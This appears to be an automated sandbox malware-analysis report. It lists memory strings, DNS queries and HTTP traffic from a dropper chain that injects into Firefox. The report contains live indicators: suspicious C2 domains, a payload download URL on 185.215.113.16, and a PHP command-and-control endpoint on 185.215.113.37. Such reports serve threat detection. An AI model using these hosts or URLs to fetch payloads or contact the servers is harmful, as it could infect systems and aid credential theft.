Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2421494424.000001BAAE96A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2421494424.000001BAAE96A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2421494424.000001BAAE96A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB272000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate\|date - profileAgeCreated\|date) / 3600000 <= 24)) && (version\|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: releaseDistinctSystemPrincipalLoaderGot invalid request to save JSON data^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools.performance.popup.feature-flag@mozilla.org/dom/slow-script-debug;1{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}JSON Viewer's onSave failed in startPersistencedevtools/client/framework/devtoolsFailed to listen. Listener already attached.Failed to listen. Callback argument missing.@mozilla.org/network/protocol;1?name=default@mozilla.org/uriloader/handler-service;1devtools/client/framework/devtools-browserNo callback set for this channel.Failed to execute WebChannel callback:devtools.debugger.remote-websocketWebChannel/this._originCheckCallback^([a-z+.-]+:\/{0,3})([^\/@]+@).+^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)resource://devtools/shared/security/socket.jsUnable to start devtools server on ^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIDevTools telemetry entry point failed: DevToolsStartup.jsm:handleDebuggerFlagresource://devtools/server/devtools-server.jsbrowser.urlbar.dnsResolveFullyQualifiedNamesbrowser.fixup.dns_first_for_single_wordsdevtools.performance.recording.ui-base-url@mozilla.org/network/protocol;1?name=fileCan't invoke URIFixup in the content process{33d75835-722f-42c0-89cc-44f328e56a86}gecko.handlerService.defaultHandlersVersionhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/FileUtils.sys.mjshttp://poczta.interia.pl/mh/?mailto=%shandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/JSONFile.sys.mjshttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s_injectDefaultProtocolHandlersIfNeeded{c6cf88b7-452e-47eb-bdc9-86e3561648ef}isDownloadsImprovementsAlreadyMigratedhttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/local-handler-app;1http://win.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1_finalizeInternal/this._finalizePromise<resource://gre/modules/DeferredTask.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%sget FIXUP_FLAG_FORCE_ALTERNATE_URIresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/DeferredTask.sys.mjshttps://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsScheme should be either http or https@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/FileUtils.sys.mjsextractScheme/fixupChangedProtocol<@mozilla.org/network/file-input-stream;1resource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1@mozilla.org/network/input-stream-pump;1First argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/scriptableinputstream;1@mozilla.org/network/simple-stream-listener;1@mozilla.org/intl/converter-input-stream;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredAction@mozilla.org/uriloader/handler-service;1https://ma
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sitepermsaddon-provider-registeredresource://gre/modules/UpdateUtils.sys.mjsThis should only be called from XPCShell testsaddGatedPermissionTypesForXpcShellTestsresource://gre/modules/amManager.sys.mjsonPrefEMEGlobalEnabledChanged() id=findUpdates() - found update for KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASONKEY_PLUGIN_LAST_INSTALL_FAIL_REASONmedia.{0}.allow-x64-plugin-on-arm64media.gmp-manager.cert.checkAttributesonPrefEnabledChanged() - adding gmp directory resource://gre/modules/AddonManager.sys.mjsstartup - adding clearkey CDM failedmedia.gmp-manager.checkContentSignaturemedia.gmp-manager.cert.requireBuiltInipc:first-content-process-createdThis should only be called from XPCShell testsdom.sitepermsaddon-provider.enabledspeculativeConnectWithOriginAttributesresource://gre/modules/FileUtils.sys.mjspictureinpicture%40mozilla.org:1.0.0://pub.doubleverify.com/signals/pub.js://static.chartbeat.com/js/chartbeat.js@mozilla.org/addons/addon-manager-startup;1://cdn.branch.io/branch-latest.min.js*://.imgur.com/js/vendor..bundle.js://.imgur.io/js/vendor..bundle.js://www.rva311.com/static/js/main..chunk.js://connect.facebook.net//sdk.js*://connect.facebook.net//all.js*@mozilla.org/network/atomic-file-output-stream;1FileUtils_openSafeFileOutputStreamFileUtils_closeAtomicFileOutputStreamresource://gre/modules/ConduitsParent.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: webcompat-reporter%40mozilla.org:1.5.1https://smartblock.firefox.etp/play.svg://auth.9c9media.ca/auth/main.js://www.everestjs.net/static/st.v3.js*://static.criteo.net/js/ld/publishertag.jsFileUtils_closeSafeFileOutputStreamFileUtils_openAtomicFileOutputStream://web-assets.toggl.com/app/assets/scripts/.js@mozilla.org/network/file-output-stream;1webcompat-reporter@mozilla.org.xpi://static.chartbeat.com/js/chartbeat_video.js://libs.coremetrics.com/eluminate.js://track.adform.net/serving/scripts/trackpoint/://c.amazon-adsystem.com/aax2/apstag.jshttps://smartblock.firefox.etp/facebook.svgresource://gre/modules/addons/XPIProvider.jsm@mozilla.org/network/safe-file-output-stream;1://ssl.google-analytics.com/ga.js://imasdk.googleapis.com/js/sdkloader/ima3.js://www.googletagservices.com/tag/js/gpt.js*://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://www.google-analytics.com/gtm/js://.moatads.com//moatheader.js://.vidible.tv//vidible-min.js://www.google-analytics.com/analytics.js://pagead2.googlesyndication.com/tag/js/gpt.js://cdn.optimizely.com/public/.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s0.2mdn.net/instream/html5/ima3.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.jsresource://gre/modules/DeferredTask.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2432375917.000001BAAF7CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB0780000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448956434.000001BAB07D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2504887224.00002B1706A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.2432375917.000001BAAF7CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2504887224.00002B1706A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.2448956434.000001BAB0780000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB060A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB060B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 22 Oct 2024 17:24:22 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=16BGGzYn1wyPRRqAdUceutChopfhhiqPP7qkE86q%2FFwi66Ob86dTSCd%2FIK0xKrykQ06PLI6FB%2FFZd47V1Tmo%2B8i9hkauvYTQ0KpQ7hBlZZka6Q3maw84%2Bmh%2BprG9IEJKNcpCdw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d6b2e393faa4686-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 22 Oct 2024 17:25:17 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uQmuUw1XsNFvlxM3uc8ja8IYF5MCYDgkwV8z%2FHjdDFz%2BmAi%2BNSCFZ2BC9VV9hUOI8qOZ37hkL8Kt5s%2FXw5LjaOQEqt67vCk3zEKqG0jCqQbN4tgOXWo8Fn32zNFcgPza4HUEXA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d6b2f8e5aff46e0-DFW

Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F06B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: file.exe, 00000000.00000003.1706577636.0000000005B11000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2316197014.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2316197014.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/M
Source: 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2316197014.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Q
Source: file.exe, 00000000.00000003.1706577636.0000000005B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/s
Source: file.exe, 00000000.00000003.1706577636.0000000005B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1706577636.0000000005B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeencoded0
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 0000000D.00000002.2155410034.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2214966614.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2214966614.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 00000021.00000002.2374193496.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2485310280.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A53000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 0000000D.00000002.2155410034.000000000096E000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009D1000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009CA000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2214966614.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2214966614.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 00000021.00000002.2374193496.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 00000021.00000002.2374193496.0000000000B33000.00000004.00000020.00020000.00000000.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2485310280.0000000000E76000.00000004.00000020.00020000.00000000.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2485310280.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/3
Source: 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/T
Source: 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009D1000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2214966614.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2214966614.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2214966614.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 00000021.00000002.2374193496.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 00000021.00000002.2374193496.0000000000B49000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 00000021.00000002.2374193496.0000000000B33000.00000004.00000020.00020000.00000000.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2485310280.0000000000E76000.00000004.00000020.00020000.00000000.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2485310280.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2485310280.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php/
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpE
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpIXr&
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpQ
Source: 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpR
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php_A
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpiA
Source: LDYMRYSK15TF568PLM3O1A8XS.exe, 00000004.00000002.1830747500.0000000000A53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpnd
Source: 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/n
Source: 2de90f6e61.exe, 0000000D.00000002.2155410034.00000000009D1000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001F.00000002.2214966614.0000000000A08000.00000004.00000020.00020000.00000000.sdmp, 2de90f6e61.exe, 00000021.00000002.2374193496.0000000000B33000.00000004.00000020.00020000.00000000.sdmp, DC91U752866P4RTKEWI6.exe, 00000023.00000002.2485310280.0000000000E76000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: 2de90f6e61.exe, 0000000D.00000002.2155410034.000000000096E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37d
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7779000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7779000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7779000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7779000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
